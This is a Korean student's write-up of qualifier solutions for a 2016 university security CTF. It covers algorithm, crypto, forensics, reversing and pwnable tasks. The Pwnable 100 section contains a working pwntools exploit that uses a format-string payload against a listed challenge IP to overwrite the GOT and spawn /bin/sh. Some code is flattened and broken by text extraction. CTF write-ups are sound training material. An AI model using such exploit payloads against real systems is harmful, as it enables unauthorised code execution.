2016 순천향대학교정보보호페스티벌 예선풀이 이름 : 이태양학교 : 한국디지털미디어고등학교아이디 : tylee0208 닉네임 : 5unKn0wn 자기점수 : 1300 등수 : 3
Warm Up Key : 48_3_5_5 Algorithm 50 문제설명은장황하게되어있는데결론적으로는주어진두수의최대공약수를구하라는의미입니 다. 파이썬의 fractions 모듈에있는 gcd 함수를사용하였습니다. import fractions n = input() for i in range(n): num = [int(i) for i in raw_input().split(' ')] print fractions.gcd(num[0], num[1]) Key : aab949b4197553ad6ef579f88829334b4db965ba61d13a6f9d7 211a053623191ce71bf5e0228610147cfd4ee4173f2cc5bdc104470df 21855c4e004b3472858a
Algorithm 100 Run Length Encoding 을구현하는문제입니다. 문자열압축은파이썬의 itertools 모듈을이용하였 고압축해제는직접반복문을돌면서구현하였습니다. 압축과관련된코드는검색을통해알아 냈습니다. from itertools import * def encode(inputstr): encoded = [(len(list(group)),name) for name, group in groupby(inputstr)] string = '' for i in encoded: if i[0] < 5: string += i[1] * i[0] else: string += '(' + i[1] + str(i[0]) + ')' return string def decode(inputstr): string = '' leng = '' for j in range(len(inputstr)): if inputstr[j] == '(': char = inputstr[j + 1] elif ord('0') <= ord(inputstr[j]) and ord('9') >= ord(inputstr[j]): leng += inputstr[j] elif inputstr[j] == ')': string += char * (int(leng) - 1) leng = '' else: string += inputstr[j] return string n = input() for i in range(n): mode = input() inputstr = raw_input() if mode == 0: print encode(inputstr) else: print decode(inputstr)
Key : 0012a73d2d317ec7155fe2c2e19b9e887b092f5c5237b65b96b 09d9f6987b2cfb7845d0abee8762aeedb518ae7ec26742b1a27267f5 5db7145f7acc2450e59b9 Algorithm 200 약수의개수를최대한효율적으로구해야하는문제입니다. 에라토스테네스의체와소인수분해를 이용하여해결할수있습니다. 그리고과거정보올림피아드에비슷한문제가있었기에참고하여 풀었습니다. #include <stdio.h> #include <math.h> #define MAX 1000 * 1000 * 10 + 1 int minfactor[max]; int minfactorpower[max]; int factors[max]; void eratosthenes() { minfactor[0] = minfactor[1] = -1; for (int i = 2; i < MAX; i++) minfactor[i] = i; int sqrtn = int(sqrt(max)); for (int i = 2; i < sqrtn; i++) { if (minfactor[i] == i) { for (int j = i * i; j < MAX; j += i) { if (minfactor[j] == j) minfactor[j] = i; void getfactors() { factors[1] = 1; for (int n = 2; n < MAX; n++) { if (minfactor[n] == n) { minfactorpower[n] = 1; factors[n] = 2; else {
int p = minfactor[n]; int m = n / p; if (p!= minfactor[m]) minfactorpower[n] = 1; else minfactorpower[n] = minfactorpower[m] + 1; int a = minfactorpower[n]; factors[n] = (factors[m] / a) * (a + 1); int main(void) { int num, k, sn, ln, ans = 0; eratosthenes(); getfactors(); scanf("%d", &num); for (int i = 0; i < num; i++) { ans = 0; scanf("%d %d %d", &k, &sn, &ln); for (int j = sn; j <= ln; j++) { if (factors[j] == k) ans++; printf("%d\n", ans); return 0; Key :8d08bbeceba83531e32fb0b013be7eb5ff421e422b0bbff0e9c5 bd11bf861aeda55dfbda61bafd36023f43e76f07c29331e080c43d1d3 5013dac082153b6078c Crypto 50 소괄호가분침과시침의최대공약수이고대괄호가최소공배수라는힌트를듣고풀었습니다. 암호 문은 EKALDMSPRLMZHNTDUZTASCEDMZHNTDUZTAHCWRL 이고, 첫번째키는 11 과 33 의최대 공약수인 11, 두번째키는 12 와 4 의최소공배수인 12 입니다. 그리고암호방식은덧셈암호와
곱셈암호를합친아핀암호 (Affine cipher) 입니다. 곱셈암호의키는 11, 덧셈암호의키를 12 로 하여암호문을복호화해주면키값을얻을수있습니다. Key : EOGHLAKFRHANJTDLWNDGKSELANJTDLWNDGJSIRH Forensic 50 파일헥스값을보았을때시그니쳐가 ADSEGMENTEDFILE 이므로확장자를.ad1로바꿔주고 FTK Imager로열어줍니다. 처음에는파일을삭제했다는부분에초점을두어삭제한기록이나로그를중심으로찾아보다가추후에힌트로 Google Drive가나오고나서파일업로드로그를중심으로살펴보았습니다. 그리고 C:\Users\Administrator\AppData\Local\Google\Drive\user_default에있는 sync_log.log라는파일을추출하여로그를보았습니다. 기밀문서니까.hwp,.docx 등의확장자를이용하여검색하다가.docx 라는확장자를가진
T0pS2cret.docx 라는파일을업로드한로그를찾을수있었습니다. 로그에서파일이름과날짜, 시간까지모두알수있었습니다. Key : T0pS2cret.docx_20160706163702 Misc 50 먼저 base64 로디코딩을하고의도를파악하지못하고있다가두번째힌트가나왔을때문자열 사이사이에끼어있는숫자의의미를깨달을수있었습니다. 문자열중간의숫자는문자열내에서 의인덱스역할을하고있었습니다. 숫자가가리키는문자들을모두모으면키가나옵니다. 주어진인덱스에서 1 을빼주는이유는문자열의첫시작을 0 으로했기때문입니다.
Key : 9ood_Luck!_4_@//_solved! Pwnable 50 인티저언더플로우를활용한문제입니다. 값을입력받아다른버퍼에복사한후입력받은값과 복사한값이다르다면플래그를출력해줍니다. 값을 128 바이트만큼입력할수있고리턴할때개행문자를제외한입력한글자수를리턴해줍 니다. 그리고 직접구현한메모리복사함수에서인자로넘어온사이즈의 -1만큼복사하는데이값을저장하는변수가 unsigned이기때문에 0이넘어왔을시 255바이트를복사하게되고오버플로우가일어나게됩니다. 복사될버퍼는입력받은버퍼보다위에있기때문에오버플로우가나서복사될시입력받은버퍼를침범하게되고따라서두값이다르게되므로플래그를얻을수있습니다.
입력을받을때는입력받은데이터가 0 바이트라면다시입력받게하지만반복문을 10 번까지만 돌기때문에 nc 에접속하고 10 번만아무값도입력하지않으면됩니다. Key : Do you w@nt to expl0it a b1n@ry~? :D Pwnable 100 지뢰찾기게임을기반으로한포맷스트링이들어있는문제입니다. Rank 를출력해줄때포맷스트 링버그가일어납니다.
그리고포맷스트링이일어날때출력하는문자열은우리가지뢰찾기게임을이겼을때넣는이름 입니다. 이외에도포맷스트링말고지뢰찾기게임알고리즘에도몇가지문제가있었습니다.
지뢰를다찾았는지비교하는전역변수를초기화해주는구간이없기때문에게임을한번만이 기면그후에는게임을하지않아도게임을이겼을때처럼포맷스트링에들어갈문자열을바꿔줄 수있습니다. 그리고 지뢰를마킹할때한번마킹했던지뢰인지체크하는구간이존재하지않기때문에한좌표를잡 아브루트포싱을돌리거나지뢰위치를한군데만알면게임에서쉽게승리할수있게됩니다. 그후포맷스트링에서 printf got 주소를 system plt 주소로덮고게임을한번더해서이름으로 /bin/sh 를넣어주면 rank 를출력할때 system( /bin/sh ) 가실행되어쉘을획득할수있게됩니다. from SunKn0wn import * def main(): r = remote('112.166.114.136', 38961) r.sendline('1') r.sendline('1') while 1: r.sendline('1') r.sendline('2 3') recv = if "Clearrrrrrrrrrrrrrrrr!!" in recv: break if "Failed..." in recv:
r.close() return -1 r.sendline('aaaa\x10\xc0\x04\x08aaaa\x12\xc0\x04\x08%08x%08x%34160c%hn% 33396c%hn') r.sendline('2') r.sendline('1') r.sendline('1') r.sendline('/bin/sh\x00') r.sendline('2') print "[*] Shell" r.interactive() while 1: if main() == -1: continue else: break 익스플로잇코드입니다. 지뢰위치는임의적으로 (2, 3) 에있을것이라예상하고그위치를다섯 번마킹하게했으며만약아니라면처음부터다시시도하게했습니다. Key : Do you w@nt to expl0it a b1n@ry~? :D Reversing 50 처음실행했을때의모습은
36 개의버튼이있지만눌러도아무런반응이없습니다. 내부에서는 36개의케이스문을이용하여각버튼에대한핸들러를호출해주며함수내부에서는각각의연산이일어납니다. 그런데여기서어디에도플래그를출력해준다거나버튼을잘눌렀다거나하는등의반응이없었기에무엇을해야할지고민하다가각함수마다리턴해주는값이각각다른것을보고이순서대로함수를호출하면플래그가생성되어있을것이라생각했습니다. 그후디버깅을하면서각리턴값을가져와정렬한후순서대로해당함수를호출해주었고연산결과로플래그가생성되어있었습니다. 다만리턴값중 20번이나오지않는오류가있는데이값은게싱으로 0번으로나온함수를 20번으로설정하고풀었더니정상적으로플래그가생성되었습니다. 그렇게게싱한이유는리턴값이 0번부터 36번까지나왔는데이러면 37개의경우의수가생깁니다. 하지만실제버튼은 36개이므로제일작은값인 0번을 20번으로설정해보았고플래그가잘나왔습니다. 따라서눌러야하는버튼의순서는 25 33 3 15 35 6 20 31 27 0 8 21 2 30 13 18 9 5 24 34 14 19 11 7 28 4 16 26 32 23 17 10 1 29 12 22 이렇게됩니다. 디버깅하면서순서대로함수를호출해주면 키가들어있습니다. Key : thi5_1s_nem0~!
Reversing 100 이번에는 C# 실행파일과 decrypted라는파일이주어집니다. 실행파일은 C# 이므로 Reflector를이용해디컴파일해서소스를분석했습니다. 간단하게하는역할은바탕화면에 iampicture.bmp라는파일이있다면암호화하고 decrypted로이름을변경시키고 warning 이라는사진만계속띄어둡니다. 함께주어진 decrypted 파일을암호화되기전의사진상태로복호화한다면키가적혀있을것입 니다.. 프로그램구조는 Main과 8개의메소드로이루어져있습니다. 각메소드는각각의암호화연산을수행합니다. 연산은여러가지테이블과함께이루어지며주로 ^, +, - 연산을이용하기때문에역연산이가능합니다. 연산메소드들을모두분석하고필요없는부분들은제거한후코드를최적화하며역연산소스를짜서 decrypted파일을복호화했습니다. def a_re(yu, alp, n): yu[0] = yu[0] ^ alp yu[3] = yu[3] + n[5]
return yu def b_re(yu, alp, length): alp -= 1 for i in range(length): if alp > ord('='): alp = ord('a') while alp < ord('d'): if alp % 2 == 0: yu[i] ^= alp else: yu[i] ^= (length & 0xff) alp += 1 return yu def c_re(yu, bytes, length): index = 5 bytes = [ord(i) for i in '\x00'.join(bytes)] # convert to unicode for i in range(length): if index > 7: yu[i] = (yu[i] + bytes[i % 14]) & 0xff yu[i] ^= bytes[index] else: yu[i] = (yu[i] + bytes[index]) & 0xff index += 1 return yu def e_re(q, length, ee): i = 0 while i < length: if i % 2 == 0: q[i] ^= ee[i % 10] ee[i % 10] = (ee[i % 10] + 1) & 0xff else: q[i] = (q[i] + ee[i % 10]) & 0xff
i += 1 return q def f_re(yu, arr4, length, arr): num = 0 for i in range(length): if i % 3 == 0: yu[i] = (yu[i] + arr[num % 10]) & 0xff yu[i] = (yu[i] - arr4[i % 14]) & 0xff num += 1 elif i % 3 == 1: yu[i] = (yu[i] + arr[i % 4]) & 0xff yu[i] ^= arr[i % 10] else: yu[i] = (yu[i] - num) & 0xff arr[num % 10] ^= arr4[num % 14] arr[num % 10] = (arr[num % 10] - 1) & 0xff return yu def u_re(yu, arr4, il): for num in range(len(yu)): yu[num] = (yu[num] + il[num % 14]) & 0xff il[num % 14] ^= arr4[num % 14] return yu arr = [0x74, 0x59, 0x25, 0x32, 0x77, 0x62, 0x4c, 0x7e, 0x42, 0x63] n = [0x6e, 0x23, 0x48, 0x7a, 0x73, 0x30, 0x52, 0x86, 0x2e, 0x71, 0x57, 0x6a, 0x26, 0x65] il = [0x69, 0x61, 0x6d, 0x70, 0x69, 0x63, 0x74, 0x75, 0x72, 0x65, 0x2e, 0x62, 0x6d, 0x70] charray2_ori = [0x75, 0x35, 0x44, 0x48, 0x2a, 0x6b, 0x43, 0x40, 0x6f, 0x72] charray2 = [0xdd, 0xa4, 0x6a, 0x82, 0x17, 0xeb, 0xef, 0x65, 0x2e, 0xcf] filename = 'decrypted' destfilename = 'iampicture.bmp' with open(filename, 'rb') as f: readed = list(f.read()[:-0x81]) yu = [ord(i) for i in readed] length = len(yu)
yu = u_re(yu, n, il) yu = e_re(yu, length, charray2) yu = c_re(yu, filename, length) yu = b_re(yu, arr[8], length) yu = f_re(yu, n, length, charray2_ori) yu = a_re(yu, arr[4], n) with open(destfilename, 'wb') as f: f.write(''.join(chr(i) for i in yu)) 역연산소스입니다. decrypted파일을두고저소스를컴파일해서실행하면원본 iampicture.bmp 가복구됩니다. 복구된사진은 이렇게생겼습니다. Key : Crypto_is_BAD
수고많으셨습니다. 풀이보고서는 yisf.sch@gmail.com 으로보내주시면됩니다.